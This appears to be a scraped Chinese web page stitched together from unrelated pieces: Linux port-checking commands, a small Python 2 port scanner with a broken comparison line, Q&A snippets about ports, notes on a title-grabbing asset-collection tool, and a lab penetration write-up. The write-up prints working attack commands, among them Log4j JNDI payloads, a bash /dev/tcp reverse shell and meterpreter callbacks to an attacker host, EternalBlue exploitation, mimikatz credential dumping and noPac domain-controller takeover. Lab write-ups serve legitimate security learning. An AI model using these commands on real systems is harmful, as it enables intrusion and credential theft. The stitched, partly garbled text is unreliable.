本地端口扫描_py端口扫描

hacker|
223

linux tcp如何查看哪些端口被占用

Linux如何查看端口

1、lsof -i:端口号 用于查看某一端口的占用情况,比如查看8000端口使用情况,lsof -i:8000

# lsof -i:8000

COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

lwfs 22065 root 6u IPv4 4395053 0t0 TCP *:irdmi (LISTEN)

可以看到8000端口已经被轻量级文件系统转发服务lwfs占用

2、netstat -tunlp |grep 端口号,用于查看指定的端口号的进程情况,如查看8000端口的情况,netstat -tunlp |grep 8000

# netstat -tunlp

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 4814/rpcbind

tcp 0 0 0.0.0.0:5908 0.0.0.0:* LISTEN 25492/qemu-kvm

tcp 0 0 0.0.0.0:6996 0.0.0.0:* LISTEN 22065/lwfs

tcp 0 0 192.168.122.1:53 0.0.0.0:* LISTEN 38296/dnsmasq

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 5278/sshd

tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 5013/cupsd

tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 5962/master

tcp 0 0 0.0.0.0:8666 0.0.0.0:* LISTEN 44868/lwfs

tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN 22065/lwfs

# netstat -tunlp | grep 8000

tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN 22065/lwfs

说明一下几个参数的含义:

-t (tcp) 仅显示tcp相关选项

-u (udp)仅显示udp相关选项

-n 拒绝显示别名,能显示数字的全部转化为数字

-l 仅列出在Listen(监听)的服务状态

-p 显示建立相关链接的程序名

附加一个python端口占用监测的程序,该程序可以监测指定IP的端口是否被占用。

1 #!/usr/bin/env python

2 # -*- coding:utf-8 -*-

3

4 import socket, time, thread

5 socket.setdefaulttimeout(3) #设置默认超时时间

6

7 def socket_port(ip, port):

8 """

9 输入IP和端口号,扫描判断端口是否占用

10 """

11 try:

12 if port =65535:

13 print u'端口扫描结束'

14 s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

15 result=s.connect_ex((ip, port))

16 if result==0:

17 lock.acquire()

18 print ip,u':',port,u'端口已占用'

19 lock.release()

20 except:

21 print u'端口扫描异常'

22

23 def ip_scan(ip):

24 """

25 输入IP,扫描IP的0-65534端口情况

26 """

27 try:

28 print u'开始扫描 %s' % ip

29 start_time=time.time()

30 for i in range(0,65534):

31 thread.start_new_thread(socket_port,(ip, int(i)))

32 print u'扫描端口完成,总共用时:%.2f' %(time.time()-start_time)

33 # raw_input("Press Enter to Exit")

34 except:

35 print u'扫描ip出错'

36

37 if __name__=='__main__':

38 url=raw_input('Input the ip you want to scan: ')

39 lock=thread.allocate_lock()

40 ip_scan(url)

该程序执行结果如下:

# python scan_port.py

Input the ip you want to scan: 20.0.208.112

开始扫描 20.0.208.112

20.0.208.112 : 111 端口已占用

20.0.208.112 : 22 端口已占用

20.0.208.112 : 8000 端口已占用

20.0.208.112 : 15996 端口已占用

20.0.208.112 : 41734 端口已占用

扫描端口完成,总共用时:9.38

如何用python实现访问外网

你的题目要详细一些,具体要干什么。例如利用python进行IP地址端口扫描等等

电脑上所谓的端口是什么啊,怎么查看自己的端口是多少?

电脑“端口”为英文port的义译,可以认为是计算机与外界通讯交流的出口。其中硬件领域的端口又称接口,如:USB端口、串行端口等。软件领域的端口指网络中面向连接服务和无连接服务的通信协议端口,是一种抽象的软件结构,包括一些数据结构和I/O(基本输入输出)缓冲区。

端口可分为3大类:

1、公认端口(Well Known Ports):从0到1023,它们紧密绑定于一些服务。通常这些端口的通讯明确表明了某种服务的协议。例如:80端口实际上总是HTTP通讯。

2、注册端口(Registered Ports):从1024到49151。它们松散地绑定于一些服务。也就是说有许多服务绑定于这些端口,这些端口同样用于许多其它目的。例如:许多系统处理动态端口从1024左右开始。

3、动态私有(Dynamic and/or Private Ports):从49152到65535。理论上,不应为服务分配这些端口。实际上,机器通常从1024起分配动态端口。但也有例外:SUN的RPC端口从32768开始。

扩展资料

端口在入侵中的作用

有人曾经把服务器比作房子,而把端口比作通向不同房间(服务)的门,如果不考虑细节的话,这是一个不错的比喻。入侵者要占领这间房子,势必要破门而入(物理入侵另说),那么对于入侵者来说,了解房子开了几扇门,都是什么样的门,门后面有什么东西就显得至关重要。

入侵者通常会用扫描器对目标主机的端口进行扫描,以确定哪些端口是开放的,从开放的端口,入侵者可以知道目标主机大致提供了哪些服务,进而猜测可能存在的漏洞,因此对端口的扫描可以帮助我们更好的了解目标主机,而对于管理员,扫描本机的开放端口也是做好安全防范的第一步。

参考资料来源:百度百科-端口

参考资料来源:百度百科-电脑端口

python3 获取title的编写

水平有限,不会造轮子,只为学习。

在原来写端口扫描的基础上进一步爬取web服务的title信息,方便收集信息。

适用于在外网收集资产形成IP字典后去批量获取title,意在最快地寻找脆弱点。

自行安装BeautifulSoup4、requests库。

V1.0

python3 写的单线程爬取web系统的title信息。

注解

1.使用BeautifulSoup4库来解析HTML,爬取title信息;

2.打印title时,带有颜色的输出;

3.在开放443、4433、8443端口时,采用https进行访问;

4.解决SSL认证问题;

V1.0.1

python3 单线程写的爬取网站title信息。增加了OptionParser模块,运行时看起来比较舒服。

注解

1.依然是从IP字典里爬取,实际运行脚本时,即使没有获取title,也应该手动访问开放的端口,往往有意外惊喜;

2.端口内置在脚本里,可自行修改;

V1.1

python3写的多线程爬取web系统的title。

注解

1.只是使用threading模块,没有添加到队列,也没有加锁;本身port_list也不多;

V1.2

python3 写的多线程加队列的来爬取web系统的title信息。

注解

1.增加了queue队列,和多线程配合使用。更加实用;

V1.3

python3 写的多线程加队列的来爬取web系统的title信息。

增加result输出结果到文本,适应于内外网端口扫描并获取title

python3 编写扫描IP网段如192.168.1.0/24某些指定应用端口爬取title信息。 在代理进行内网渗透时内网资产不容易找到。

适用于内网、外网环境。

自行安装BeautifulSoup4、requests库。

V2.0

python3写的扫描IP段并爬取title信息,收集资产。

注解

1.使用ipaddress模块获取C段地址,也可以是B段;

2.只使用threading模块,没有添加队列queue;

V2.1

python3 写的多线程扫描IP段爬取title。在一定线程下,代理探测内网资产title的非常使用。

注解

1.port_list列表移动到scan方法里;

2.将IP添加到queue队列,而不是端口;

V2.2

python3 写的多线程扫描IP段爬取title。

注解

1.只是增加了result_out方法,将结果输出到指定文件;

python怎样获取连接的IP的设备信息

以前是有这样的工具,它会通过常用协议去刺探设备类型。比如windows的版本,计算机名等。现在不知道还有没有这样的工具,搜索一下看。

哦。这个应该相当容易了。因为相机是专业设备。所以通常会有一个控制协议。因为是专业的,所以这个socket应该是加密的。 你只需要连接上后,随便发一个命令,如果被断开。很可能就是这个相机了。

另外相机通常都是有MAC地址的。如果你发现它在你预计的MAC地址范围内,也可以知道是它。 相机是专业抓拍的。通常不会放在互联网上,应该是局域网。你可以排除局域网上的其它计算机,自然了也就知道哪些是相机了。

这些都不是难题。你首先扫描所有的IP地址。再扫描它们的端口数量。如果端口数量多通常是计算机,如果端口只有1-2个就是专业设备。扫描不到的,应该就是计算机啦。

试试,并不难。

记一次log4j2引发的渗透测试

记一次log4j2打入内网并用CVE-2021-42287、CVE-2021-42278获取到DC权限的靶场渗透。

首先对web进行端口扫描,发现38080端口和22端口

访问一下38080端口发现是一个error page

用Wappalyzer看一下是什么架构,但是好像没有检测出来

拿着报错去百度上发现应该是springboot

索性用goby再去扫一下,应该是spring没错,但是没有漏洞是什么操作?联想到最近出的log4j2的洞,可能他只是一个日志文件所以并没有框架

使用 payload=${jndi:ldap://p9j8l8.dnslog.cn} 验证一下有回显证明存在漏洞

尝试进一步利用漏洞,首先起一个ldap服务,ip为本地接收shell的ip地址

pre class="1b25-aaa8-ffcd-01f2 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105/pre

抓包修改 Content-Type: appllication/x-www-form-urlencoded ,并执行以下payload成功回显

pre class="aaa8-ffcd-01f2-0445 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"payload=${jndi: ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho }/pre

执行 ls -al / 看一下也成功

nc开启监听端口

然后使用bash命令反弹,这里需要先base64编码然后对编码后的特殊字符进行2层url转码

pre class="ffcd-01f2-0445-a460 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bash -i /dev/tcp/192.168.1.105/9999 01/pre

抓包添加 payload=${jndi:ldap:1/192.168.1.105:1389/TomcatBypass/Command/Base64/二层转码之后的字符} ,即可得到反弹shell

进行信息搜集发现为docker环境,这里尝试了docker逃逸失败,那么继续进行信息搜集

在根目录下找到了第一个flag,这里有一个 got this ,在之前端口扫描的时候看到开放了22端口,尝试使用ssh直接连接

使用xshell尝试连接

连接成功,拿到了宿主机的权限

ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡

这里方便的话其实可以使用cs上线linux后用cs继续打,这里我就没有上线cs,使用linux的命令对10.0.1.0/24段探测存货主机

pre class="01f2-0445-a460-d9d8 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;" for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 i Find the target; fi; done/pre

ping一下是存活的

使用毒液把流量代理出来,首先开启监听

pre class="3542-789f-b4d8-8a36 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"admin.exe -lport 7777/pre

然后上传agent_linux到靶机上

加权并执行

pre class="789f-b4d8-8a36-735c md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 agent_linux_x86

agent_linux_x86 -rhost 192.168.1.105 -rport 7777/pre

连接成功

这里本来准备用毒液的代理到msf打的,后面觉得比较麻烦,就直接用kali生成的elf马上线msf了

首先生成一个32位的elf马

pre class="b4d8-8a36-735c-8122 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf shell.elf/pre

然后加权并执行

pre class="8a36-735c-8122-b4df md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 shell.elf

./shell/pre

kali使用 exploit/multi/handler 进行监听

获取到宿主机的shell

然后添加10.0.1.0/24段的路由

pre class="735c-8122-b4df-d81e md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bg

route add 10.0.1.0 255.255.255.0 1

route print/pre

然后配置 proxychain4.conf 文件并使用socks模块

pre class="8122-b4df-d81e-d5b6 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"search socks

use auxiliary/sevrer/socks_proxy

run/pre

我们在之前已经知道了内网主机的ip,那么这里我们直接使用proxychain配合nmap对10.0.1.7的端口进行扫描

pre class="b4df-d81e-d5b6-1110 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains4 nmap -sT -Pn 10.0.1.7/pre

发现有445端口,那么对445端口进一步扫描

先确定一下系统版本,使用 auxiliary/scanner/smb/smb_version 模块,发现是win7 sp1

看能不能利用永恒之蓝,这里使用到 auxiliary/scanner/smb/smb_ms17_010 模块,发现可以利用永恒之蓝

使用 exploit/windows/smb/ms17_010_eternalbule 模块,因为是不出网环境,这里需要用到 bind_tcp 载荷

run之后拿到一个system权限的meterpreter

在 C:\Users\root\Desktop 下拿到第二个flag

然后继续进行信息搜集,发现同样是双网卡,还存在10.0.0.0/24段的一张网卡

ipconfig /all看到dns服务器为 redteam.lab 应该在域内

这里ping一下 redteam.lab 得到域控的ip为10.0.0.12

这里不知道域控有什么洞,先上传一个mimikatz把密码抓取出来,得到 Administrator/Admin12345 ,这里其实就可以使用域管账户ipc直接连接,但是这里抓到了一个域用户,尝试使用最新的CVE-2021-42287、CVE-2021-42278来进行攻击,关于漏洞的原理请 移步

pre class="d81e-d5b6-1110-4cfa md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"privilege::debug

sekurlsa::logonpasswords/pre

这里我准备使用noPac.exe直接去获取一个shell的,但是这里noPac.exe的利用条件是需要主机上有.net4.0环境,所以这里没有回显

本来准备一步一步的用原始的方法打的,但是powershell用不了没有回显,就写一下原始利用的步骤吧

这里直接使用 sam_the_admin.py 进行攻击

pre class="d5b6-1110-4cfa-1b25 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell/pre

即可拿到DC的shell

在 C:\Users\Administrator\Desktop 下找到最后一个flag

0条大神的评论

发表评论